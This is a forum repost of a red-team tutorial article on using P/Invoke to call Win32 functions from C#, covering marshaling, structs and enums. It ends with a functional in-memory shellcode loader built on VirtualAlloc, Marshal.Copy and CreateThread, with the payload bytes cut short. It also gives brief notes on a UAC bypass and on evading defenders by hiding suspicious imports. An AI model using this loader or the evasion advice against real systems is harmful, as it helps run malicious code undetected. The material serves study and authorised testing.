Jump to content
Nytro

Offensive P/Invoke: Leveraging the Win32 API from Managed Code

Recommended Posts

Offensive P/Invoke: Leveraging the Win32 API from Managed Code

Matt Hand
Aug 14, 2019 · 6 min read
 
 

With the rise in offensive .NET, particularly C#, tooling, we are seeing a great expansion in operational capability, especially with regards to running our code in memory (e.g. Cobalt Strike’s execute-assembly). While C# provides a great deal of functionality on the surface, sometimes we need to leverage functions of the operating system not readily accessible from managed code. Thankfully, .NET offers and integration with the Windows API through a technology called Platform Invoke, or P/Invoke for short.

Why P/Invoke?

Consider this common situation: you need to allocate memory in your current process to copy in shellcode and then create a new thread to execute it. Because the Common Language Runtime (CLR) manages things like memory allocation for us, hence the term “managed code”, this is not possible through the built-in functionality of .NET.

To use the 2 functions we need, VirtualAlloc() and CreateThread(), we need to be able to call them from “kernel32.dll”. This is where P/Invoke comes into play. P/Invoke, or specifically the System.Runtime.InteropServices namespace, provides the ability to call external DLLs with the DllImport attribute. In our example, we can simply import “kernel32.dll”, and reference the external methods VirtualAlloc() and CreateThread() using the exact same signature as the unmanaged (C/C++) one.

Marshaling

Because we are interacting with unmanaged functions from managed code, we need to be able to automatically handle things like datatype conversion. Simply put, that is what marshaling does for us. The graphic below shows a high-level overview of how your C# code interacts with unmanaged code.

1*2XU8sPJrLBuifbGIj_Hodw.png?q=20
1*2XU8sPJrLBuifbGIj_Hodw.png
Credit: https://mark-borg.github.io/blog/2017/interop/

A practical example of this is converting an unmanaged function signature to a managed one. Let’s take the signature for VirtualAlloc() from our example above.

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);

We can see that VirtualAlloc() returns a pointer to a void object (LPVOID) and takes a LPVOID for the lpAddress parameter, an unsigned integer (SIZE_T) for dwSize, and a doubleword (DWORD) for the flAllocationType and flProtect parameters. Since these aren’t valid types in .NET, we need to convert them. I have created a table of types I have run into to help with the conversion:

1*dbSfTScP9KjXLkwoZPsmtw.png?q=20
1*dbSfTScP9KjXLkwoZPsmtw.png

Using this table, the signature for VirtualAlloc() we would need to use in our C# code would be:

[DllImport(“kernel32.dll”)]
private static extern IntPtr VirtualAlloc(
    IntPtr lpStartAddr,
    uint size,
    uint flAllocationType,
    uint flProtect);

In some cases, you may see ref or out prepended to the type. These tell the compiler that data can flow in or out of the function. ref specifies both directions and out specifies that data will only come out of the function.

Handling Character Encoding

Sometimes you may see additional enumerations in a DllImport such as the following:

[DllImport(“user32.dll”), Charset = CharSet.Unicode, SetLastError = true]

The Charset definition is used to specify either ANSI or Unicode encoding. To tell whether you may need to specify this, consider the function you are calling and the data you are processing. Typically, a function which ends in “A”, such as MessageBoxA(), will handle ANSI text and a function which ends in “W”, such as MessageBoxW() will handle “wide” or Unicode text. By default, this is set to CharSet.Ansi in C#, so leaving this blank will use ANSI text encoding.

Catching Win32 Errors

The SetLastError field is a way to manage consuming API error messages that we would otherwise miss due to (un)marshaling. Simply put, this just provides us with the ability to handle errors in our external function via a call to Marshal.GetLastWin32Error(). Consider the following code:

if (RemoveDirectory(@”C:\Windows\System32"))
    Console.Writeline(“This won’t work”);
else
    Console.WriteLine(Marshal.GetLastWin32Error());

In this code, when RemoveDirectory() fails, it will print out the Win32 error code describing the failure. This code could either be parsed by the FormatMessage() function or through throw new Win32Exception(Marshal.GetLastWin32Error());. I would recommend using this functionality in your code, at least while testing/debugging, to avoid missing important error messages.

Structs

Many of the same concepts described above apply to structs. We simply convert the Windows datatypes to .NET datatypes.
For example, the ShellExecuteInfo struct used by ShellExecute() goes from this:

typedef struct ShellExecuteInfo {
    DWORD cbSize;
    ULONG fMask;
    HWND hwnd;
    LPCSTR lpVerb;
    LPCSTR lpFile;
    LPCSTR lpParameters;
    LPCSTR lpDirectory;
    int nShow;
    HINSTANCE hInstApp;
    void *lpIDList;
    LPCSTR lpClass;
    HKEY hkeyClass;
    DWORD dwHotKey;
    HANDLE hIcon;
    HANDLE hMonitor;
    HANDLE hProcess;
}

To this:

public struct ShellExecuteInfo
{
    public int cbSize;
    public uint fMask;
    public IntPtr hwnd;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpVerb;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpFile;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpParameters;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpDirectory;
    public int nShow;
    public IntPtr hInstApp;
    public IntPtr lpIDList;
    [MarshalAs(UnmanagedType.LPTStr)]
    public string lpClass;
    public IntPtr hkeyClass;
    public uint dwHotKey;
    public IntPtr hIcon;
    public IntPtr hProcess;
}

You will notice lines containing [MarshalAs(UnmanagedType.LPTStr)]. This is because strings copied from managed to unmanaged format are not copied back when the call returns. This line simply gives us the ability to marshal strings by explicitly stating how to.

Enums

Enumerators, or enums, are arguably the least headache-inducing of all of these sections. The easiest way to think about enums is by comparing them to dictionaries — they map something to something else. Here is an example enum:

public enum StateEnum
{
    MEM_COMMIT = 0x1000,
    MEM_RESERVE = 0x2000,
    MEM_FREE = 0x10000
}

We could then use these mappings in our functions. For example:

VirtualAlloc(0, 400 ,(uint)StateEnum.MEM_COMMIT, 0x40);

Which could also be represented as:

VirtualAlloc(0, 400 ,0x1000, 0x40);

Practical Example

Back to the original problem — running our shellcode. Using the knowledge we’ve gained, we can combine the sections into a working proof of concept.

P/Invoke Declarations

We start our program off by including the required namespace.

using System;
using System.Runtime.InteropServices;

Then we declare our external functions in our class.

[DllImport(“kernel32.dll”)]
private static extern uint VirtualAlloc(
    uint lpStartAddr,
    uint size,
    uint flAllocationType,
    uint flProtect);[DllImport(“kernel32.dll”)]
private static extern IntPtr CreateThread(
    uint lpThreadAttributes,
    uint dwStackSize,
    uint lpStartAddress,
    IntPtr param,
    uint dwCreationFlags,
    ref uint lpThreadId);[DllImport(“kernel32.dll”)]
private static extern bool CloseHandle(IntPtr handle);[DllImport(“kernel32.dll”)]
private static extern uint WaitForSingleObject(
    IntPtr hHandle,
    uint dwMilliseconds);

Don’t forget about our enums!

public enum StateEnum
{
    MEM_COMMIT = 0x1000,
    MEM_RESERVE = 0x2000,
    MEM_FREE = 0x10000
}public enum Protection
{
    PAGE_READONLY = 0x02,
    PAGE_READWRITE = 0x04,
    PAGE_EXECUTE = 0x10,
    PAGE_EXECUTE_READ = 0x20,
    PAGE_EXECUTE_READWRITE = 0x40,
}

Writing the Main() Method

With all of the supporting functions defined, we start by creating a byte array containing our shellcode in the Main() method.

byte[] shellcode = new byte[319] {0xfc,0xe8,…};

Using VirtualAlloc(), we allocate the required amount of memory along with values defined in our enums.

IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, (uint)StateEnum.MEM_COMMIT, (uint)Protection.PAGE_EXECUTE_READWRITE);

Then we use Marshal.Copy() to copy our shellcode from managed memory into an unmanaged memory pointer, which is stored in the variable funcAddr.

Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

Now our shellcode is written into an executable portion of memory. The last thing to do before we execute is to set up a few pieces we’ll need for the execution itself.

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

With that out of the way, we can create a thread that will execute our payload by setting the lpStartAddress parameter to the function address of our shellcode.

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

To be a little more clean, we can use WaitForSingleObject() to wait an infinite amount of time, specified by 0xFFFFFFFF, for the thread to exit. Once it finishes, we will return void and the program will exit.

WaitForSingleObject(hThread, 0xFFFFFFFF);

I’ve created a public Gist in case the formatting is a little confusing.
https://gist.github.com/matterpreter/6ddfbdcb9511dd6933e6d3474709c32c

Closing Notes

While this example shows a common use case for P/Invoke, you are only limited in your imagination when it comes to other uses. For example, in the mock directory UAC bypass, I had to use the unmanaged CreateDirectory() function to create C:\Windows \ because the managed System.IO.Directory.CreateDirectory function could not handle the space at the end of the directory name. Using P/Invoke was one way to get this technique to work in .NET and is especially common for the Win32 API calls that use null-terminated strings versus Native API call that use counted Unicode strings.

One of the OPSEC concerns to keep in mind when using P/Invoke is suspicious imports. Because imported DLLs are a simple piece of data to collect for defenders, importing something odd or out of place could tip off anyone investigating your assembly. One method of evasion is to dynamically invoke unmanaged code. An example of this was recently added to SharpSploit by @TheRealWover.

Posts By SpecterOps Team Members

Posts from SpecterOps team members on various topics…

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...